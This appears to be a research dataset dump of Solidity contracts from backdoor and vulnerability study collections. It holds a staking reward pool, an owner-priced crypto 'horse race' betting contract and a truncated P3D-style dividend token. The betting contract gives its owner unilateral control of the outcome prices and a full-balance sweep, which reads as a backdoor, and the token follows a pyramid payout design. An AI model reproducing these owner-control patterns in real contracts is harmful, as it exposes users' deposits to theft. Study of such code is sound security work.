curOracle.callbackTime(),
curOracle.rate());
}
function readyOracles() public view returns (uint256) {
uint256 count = 0;
for (uint256 i = 0; i < oracles.length; i++) {
OracleI oracle = OracleI(oracles[i]);
if ((oracle.rate() != 0) &&
!oracle.waitQuery() &&
(now - oracle.updateTime()) < ORACLE_ACTUAL)
count++;
}
return count;
}
function waitingOracles() public view returns (uint256) {
uint256 count = 0;
for (uint256 i = 0; i < oracles.length; i++) {
if (OracleI(oracles[i]).waitQuery() && (now - requestTime) < ORACLE_TIMEOUT) {
count++;
}
}
return count;
}
function withdrawReserve() public {
require(getState() == State.LOCKED && msg.sender == withdrawWallet);
ReserveWithdraw(this.balance);
withdrawWallet.transfer(this.balance);
token.burn(tokenBalance());
}
function refillBalance() public payable {
ReserveRefill(msg.value);
}
function isRateValid(uint256 rate) internal pure returns(bool) {
return rate >= MIN_RATE && rate <= MAX_RATE;
}
}
| 140,496 | 13,128 |
9f0a0194726f2f50e3004428bf4be8fe91693dab933bb700c6ac0e121be907d4
| 31,840 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2a/2a093946bc990ceda6d34de0292abc3d0c71f801_ThunderShareRewardPool.sol
| 5,112 | 19,566 |
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of tSHARE (rewards).
contract ThunderShareRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. tSHAREs to distribute per block.
uint256 lastRewardTime; // Last time that tSHAREs distribution occurs.
uint256 accTSharePerShare; // Accumulated tSHAREs per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public tshare;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when tSHARE mining starts.
uint256 public poolStartTime;
// The time when tSHARE mining ends.
uint256 public poolEndTime;
uint256 public tSharePerSecond = 0.00186122 ether; // 59500 tshare / (370 days * 24h * 60min * 60s)
uint256 public runningTime = 370 days; // 370 days
uint256 public constant TOTAL_REWARDS = 59500 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _tshare,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_tshare != address(0)) tshare = IERC20(_tshare);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "TShareRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "TShareRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accTSharePerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's tSHARE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(tSharePerSecond);
return poolEndTime.sub(_fromTime).mul(tSharePerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(tSharePerSecond);
return _toTime.sub(_fromTime).mul(tSharePerSecond);
}
}
// View function to see pending tSHAREs on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTSharePerShare = pool.accTSharePerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _tshareReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accTSharePerShare = accTSharePerShare.add(_tshareReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accTSharePerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _tshareReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accTSharePerShare = pool.accTSharePerShare.add(_tshareReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accTSharePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeTShareTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accTSharePerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accTSharePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeTShareTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accTSharePerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safeTShareTransfer(address _to, uint256 _amount) internal {
uint256 _tshareBal = tshare.balanceOf(address(this));
if (_tshareBal > 0) {
if (_amount > _tshareBal) {
tshare.safeTransfer(_to, _tshareBal);
} else {
tshare.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (tSHARE or lps) if less than 90 days after pool ends
require(_token != tshare, "tshare");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 313,587 | 13,129 |
9093b80bfdee81eda28cad3dedb82084938238b59736bef376886ca5c924fee8
| 13,752 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xe75a60da4bad89b84d10a7ab8e28f9ed7ba22401.sol
| 3,799 | 13,177 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface P3DTakeout {
function buyTokens() external payable;
}
contract Betting {
using SafeMath for uint256; //using safemath
address public owner; //owner address
address house_takeout = 0xf783A81F046448c38f3c863885D9e99D10209779;
P3DTakeout P3DContract_;
uint public winnerPoolTotal;
string public constant version = "0.2.3";
struct chronus_info {
bool betting_open; // boolean: check if betting is open
bool race_start; //boolean: check if race has started
bool race_end; //boolean: check if race has ended
bool voided_bet; //boolean: check if race has been voided
uint32 starting_time; // timestamp of when the race starts
uint32 betting_duration;
uint32 race_duration; // duration of the race
uint32 voided_timestamp;
}
struct horses_info{
int64 BTC_delta; //horses.BTC delta value
int64 ETH_delta; //horses.ETH delta value
int64 LTC_delta; //horses.LTC delta value
bytes32 BTC; //32-bytes equivalent of horses.BTC
bytes32 ETH; //32-bytes equivalent of horses.ETH
bytes32 LTC; //32-bytes equivalent of horses.LTC
}
struct bet_info{
bytes32 horse; // coin on which amount is bet on
uint amount; // amount bet by Bettor
}
struct coin_info{
uint256 pre; // locking price
uint256 post; // ending price
uint160 total; // total coin pool
uint32 count; // number of bets
bool price_check;
}
struct voter_info {
uint160 total_bet; //total amount of bet placed
bool rewarded; // boolean: check for double spending
mapping(bytes32=>uint) bets; //array of bets
}
mapping (bytes32 => coin_info) public coinIndex; // mapping coins with pool information
mapping (address => voter_info) voterIndex; // mapping voter address with Bettor information
uint public total_reward; // total reward to be awarded
uint32 total_bettors;
mapping (bytes32 => bool) public winner_horse;
// tracking events
event Deposit(address _from, uint256 _value, bytes32 _horse, uint256 _date);
event Withdraw(address _to, uint256 _value);
event PriceCallback(bytes32 coin_pointer, uint256 result, bool isPrePrice);
event RefundEnabled(string reason);
// constructor
constructor() public payable {
owner = msg.sender;
horses.BTC = bytes32("BTC");
horses.ETH = bytes32("ETH");
horses.LTC = bytes32("LTC");
P3DContract_ = P3DTakeout(0x72b2670e55139934D6445348DC6EaB4089B12576);
}
// data access structures
horses_info public horses;
chronus_info public chronus;
// modifiers for restricting access to methods
modifier onlyOwner {
require(owner == msg.sender);
_;
}
modifier duringBetting {
require(chronus.betting_open);
require(now < chronus.starting_time + chronus.betting_duration);
_;
}
modifier beforeBetting {
require(!chronus.betting_open && !chronus.race_start);
_;
}
modifier afterRace {
require(chronus.race_end);
_;
}
//function to change owner
function changeOwnership(address _newOwner) onlyOwner external {
owner = _newOwner;
}
function priceCallback (bytes32 coin_pointer, uint256 result, bool isPrePrice) external onlyOwner {
require (!chronus.race_end);
emit PriceCallback(coin_pointer, result, isPrePrice);
chronus.race_start = true;
chronus.betting_open = false;
if (isPrePrice) {
if (now >= chronus.starting_time+chronus.betting_duration+ 60 minutes) {
emit RefundEnabled("Late start price");
forceVoidRace();
} else {
coinIndex[coin_pointer].pre = result;
}
} else if (!isPrePrice){
if (coinIndex[coin_pointer].pre > 0){
if (now >= chronus.starting_time+chronus.race_duration+ 60 minutes) {
emit RefundEnabled("Late end price");
forceVoidRace();
} else {
coinIndex[coin_pointer].post = result;
coinIndex[coin_pointer].price_check = true;
if (coinIndex[horses.ETH].price_check && coinIndex[horses.BTC].price_check && coinIndex[horses.LTC].price_check) {
reward();
}
}
} else {
emit RefundEnabled("End price came before start price");
forceVoidRace();
}
}
}
// place a bet on a coin(horse) lockBetting
function placeBet(bytes32 horse) external duringBetting payable {
require(msg.value >= 0.01 ether);
if (voterIndex[msg.sender].total_bet==0) {
total_bettors+=1;
}
uint _newAmount = voterIndex[msg.sender].bets[horse] + msg.value;
voterIndex[msg.sender].bets[horse] = _newAmount;
voterIndex[msg.sender].total_bet += uint160(msg.value);
uint160 _newTotal = coinIndex[horse].total + uint160(msg.value);
uint32 _newCount = coinIndex[horse].count + 1;
coinIndex[horse].total = _newTotal;
coinIndex[horse].count = _newCount;
emit Deposit(msg.sender, msg.value, horse, now);
}
// fallback method for accepting payments
function () private payable {}
// method to place the oraclize queries
function setupRace(uint32 _bettingDuration, uint32 _raceDuration) onlyOwner beforeBetting external payable {
chronus.starting_time = uint32(block.timestamp);
chronus.betting_open = true;
chronus.betting_duration = _bettingDuration;
chronus.race_duration = _raceDuration;
}
// method to calculate reward (called internally by callback)
function reward() internal {
horses.BTC_delta = int64(coinIndex[horses.BTC].post - coinIndex[horses.BTC].pre)*100000/int64(coinIndex[horses.BTC].pre);
horses.ETH_delta = int64(coinIndex[horses.ETH].post - coinIndex[horses.ETH].pre)*100000/int64(coinIndex[horses.ETH].pre);
horses.LTC_delta = int64(coinIndex[horses.LTC].post - coinIndex[horses.LTC].pre)*100000/int64(coinIndex[horses.LTC].pre);
total_reward = (coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total);
if (total_bettors <= 1) {
emit RefundEnabled("Not enough participants");
forceVoidRace();
} else {
// house takeout
uint house_fee = total_reward.mul(5).div(100);
require(house_fee < address(this).balance);
total_reward = total_reward.sub(house_fee);
house_takeout.transfer(house_fee);
// p3d takeout
uint p3d_fee = house_fee/2;
require(p3d_fee < address(this).balance);
total_reward = total_reward.sub(p3d_fee);
P3DContract_.buyTokens.value(p3d_fee)();
}
if (horses.BTC_delta > horses.ETH_delta) {
if (horses.BTC_delta > horses.LTC_delta) {
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.BTC].total;
}
else if(horses.LTC_delta > horses.BTC_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else {
winner_horse[horses.BTC] = true;
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.BTC].total + (coinIndex[horses.LTC].total);
}
} else if(horses.ETH_delta > horses.BTC_delta) {
if (horses.ETH_delta > horses.LTC_delta) {
winner_horse[horses.ETH] = true;
winnerPoolTotal = coinIndex[horses.ETH].total;
}
else if (horses.LTC_delta > horses.ETH_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else {
winner_horse[horses.ETH] = true;
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.LTC].total);
}
} else {
if (horses.LTC_delta > horses.ETH_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else if(horses.LTC_delta < horses.ETH_delta){
winner_horse[horses.ETH] = true;
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total);
} else {
winner_horse[horses.LTC] = true;
winner_horse[horses.ETH] = true;
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total) + (coinIndex[horses.LTC].total);
}
}
chronus.race_end = true;
}
// method to calculate an invidual's reward
function calculateReward(address candidate) internal afterRace constant returns(uint winner_reward) {
voter_info storage bettor = voterIndex[candidate];
if(chronus.voided_bet) {
winner_reward = bettor.total_bet;
} else {
uint winning_bet_total;
if(winner_horse[horses.BTC]) {
winning_bet_total += bettor.bets[horses.BTC];
} if(winner_horse[horses.ETH]) {
winning_bet_total += bettor.bets[horses.ETH];
} if(winner_horse[horses.LTC]) {
winning_bet_total += bettor.bets[horses.LTC];
}
winner_reward += (((total_reward.mul(10000000)).div(winnerPoolTotal)).mul(winning_bet_total)).div(10000000);
}
}
// method to just check the reward amount
function checkReward() afterRace external constant returns (uint) {
require(!voterIndex[msg.sender].rewarded);
return calculateReward(msg.sender);
}
// method to claim the reward amount
function claim_reward() afterRace external {
require(!voterIndex[msg.sender].rewarded);
uint transfer_amount = calculateReward(msg.sender);
require(address(this).balance >= transfer_amount);
voterIndex[msg.sender].rewarded = true;
msg.sender.transfer(transfer_amount);
emit Withdraw(msg.sender, transfer_amount);
}
function forceVoidRace() internal {
chronus.voided_bet=true;
chronus.race_end = true;
chronus.voided_timestamp=uint32(now);
}
// exposing the coin pool details for DApp
function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint) {
uint256 coinPrePrice;
uint256 coinPostPrice;
if (coinIndex[horses.ETH].pre > 0 && coinIndex[horses.BTC].pre > 0 && coinIndex[horses.LTC].pre > 0) {
coinPrePrice = coinIndex[index].pre;
}
if (coinIndex[horses.ETH].post > 0 && coinIndex[horses.BTC].post > 0 && coinIndex[horses.LTC].post > 0) {
coinPostPrice = coinIndex[index].post;
}
return (coinIndex[index].total, coinPrePrice, coinPostPrice, coinIndex[index].price_check, voterIndex[candidate].bets[index]);
}
// exposing the total reward amount for DApp
function reward_total() external constant returns (uint) {
return ((coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total));
}
// in case of any errors in race, enable full refund for the Bettors to claim
function refund() external onlyOwner {
require(now > chronus.starting_time + chronus.race_duration);
require((chronus.betting_open && !chronus.race_start)
|| (chronus.race_start && !chronus.race_end));
chronus.voided_bet = true;
chronus.race_end = true;
chronus.voided_timestamp=uint32(now);
}
// method to claim unclaimed winnings after 30 day notice period
function recovery() external onlyOwner{
require((chronus.race_end && now > chronus.starting_time + chronus.race_duration + (30 days))
|| (chronus.voided_bet && now > chronus.voided_timestamp + (30 days)));
house_takeout.transfer(address(this).balance);
}
}
| 142,821 | 13,130 |
a676ccde8ae3fe2ce614d6d195c33c134309b28c4c00d0f5dfaac5346843fd0a
| 19,293 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x2676d51e7a2e532f8e944e6ea5ca1cd07048ab08.sol
| 4,120 | 15,585 |
pragma solidity ^0.4.20;
contract AHS {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Adam Hole System";
string public symbol = "AHS";
uint8 constant public decimals = 18;
/// @dev 20% dividends for token purchase
uint8 constant internal entryFee_ = 20;
/// @dev 10% dividends for token transfer
uint8 constant internal transferFee_ = 10;
/// @dev 25% dividends for token selling
uint8 constant internal exitFee_ = 25;
/// @dev 50% of entryFee is given to referrer
uint8 constant internal refferalFee_ = 50;
uint256 constant internal tokenPriceInitial_ = 0.000000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000002 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
